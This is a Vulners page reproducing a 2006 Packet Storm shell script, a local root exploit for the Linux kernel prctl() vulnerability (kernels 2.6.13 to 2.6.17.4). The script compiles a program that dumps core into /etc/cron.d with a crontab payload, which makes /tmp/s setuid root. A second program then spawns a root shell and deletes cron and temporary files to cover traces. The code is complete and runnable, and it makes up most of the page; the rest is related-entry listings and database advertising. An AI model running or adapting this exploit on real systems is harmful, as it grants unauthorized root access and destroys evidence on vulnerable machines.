Lucene search
K

prctl.sh.txt

🗓️ 14 Jul 2006 00:00:00Reported by SunixType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 53 Views

Local root exploit for PRCTL vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit
11 Jul 200600:00
zdt
0day.today
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)
13 Jul 200600:00
zdt
0day.today
Linux Kernel 2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)
18 Jul 200600:00
zdt
BDU FSTEC
Vulnerabilities in the OpenSUSE operating system that allow malicious actors to compromise the confidentiality, integrity, and accessibility of protected information
28 Apr 201500:00
bdu_fstec
BDU FSTEC
Vulnerabilities in the OpenSUSE operating system that allow malicious actors to compromise the confidentiality, integrity, and accessibility of protected information
28 Apr 201500:00
bdu_fstec
BDU FSTEC
Vulnerabilities in the OpenSUSE operating system that allow malicious actors to compromise the confidentiality, integrity, and accessibility of protected information
28 Apr 201500:00
bdu_fstec
BDU FSTEC
Vulnerabilities in the OpenSUSE operating system that allow malicious actors to compromise the confidentiality, integrity, and accessibility of protected information
28 Apr 201500:00
bdu_fstec
BDU FSTEC
Vulnerabilities in the OpenSUSE operating system that allow malicious actors to compromise the confidentiality, integrity, and accessibility of protected information
28 Apr 201500:00
bdu_fstec
BDU FSTEC
Vulnerabilities in the OpenSUSE operating system that allow malicious actors to compromise the confidentiality, integrity, and accessibility of protected information
28 Apr 201500:00
bdu_fstec
BDU FSTEC
Vulnerabilities in the OpenSUSE operating system that allow malicious actors to compromise the confidentiality, integrity, and accessibility of protected information
28 Apr 201500:00
bdu_fstec
Rows per page
`#!/bin/sh  
#  
# PRCTL local root exp By: Sunix  
# + effected systems 2.6.13<= x <=2.6.17.4 + 2.6.9-22.ELsmp  
# tested on Intel(R) Xeon(TM) CPU 3.20GHz  
# kernel 2.6.9-22.ELsmp  
# maybe others ...  
# Tx to drayer & RoMaNSoFt for their clear code...  
#  
# [email protected]  
  
  
cat > /tmp/getsuid.c << __EOF__  
#include <stdio.h>  
#include <sys/time.h>  
#include <sys/resource.h>  
#include <unistd.h>  
#include <linux/prctl.h>  
#include <stdlib.h>  
#include <sys/types.h>  
#include <signal.h>  
  
char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f /etc/cron.d/core\n";  
  
int main() {   
int child;  
struct rlimit corelimit;  
corelimit.rlim_cur = RLIM_INFINITY;  
corelimit.rlim_max = RLIM_INFINITY;  
setrlimit(RLIMIT_CORE, &corelimit);  
if ( !( child = fork() )) {  
chdir("/etc/cron.d");  
prctl(PR_SET_DUMPABLE, 2);  
sleep(200);  
exit(1);  
}  
kill(child, SIGSEGV);  
sleep(120);  
}  
__EOF__  
  
cat > /tmp/s.c << __EOF__  
#include<stdio.h>  
main(void)  
{  
setgid(0);  
setuid(0);  
system("/bin/sh");  
system("rm -rf /tmp/s");  
system("rm -rf /etc/cron.d/*");  
return 0;  
}  
__EOF__  
echo "wait aprox 4 min to get sh"  
cd /tmp  
cc -o s s.c  
cc -o getsuid getsuid.c  
./getsuid  
./s  
rm -rf getsuid*  
rm -rf s.c  
rm -rf prctl.sh  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jul 2006 00:00Current
6.4Medium risk
Vulners AI Score6.4
EPSS0.04387
53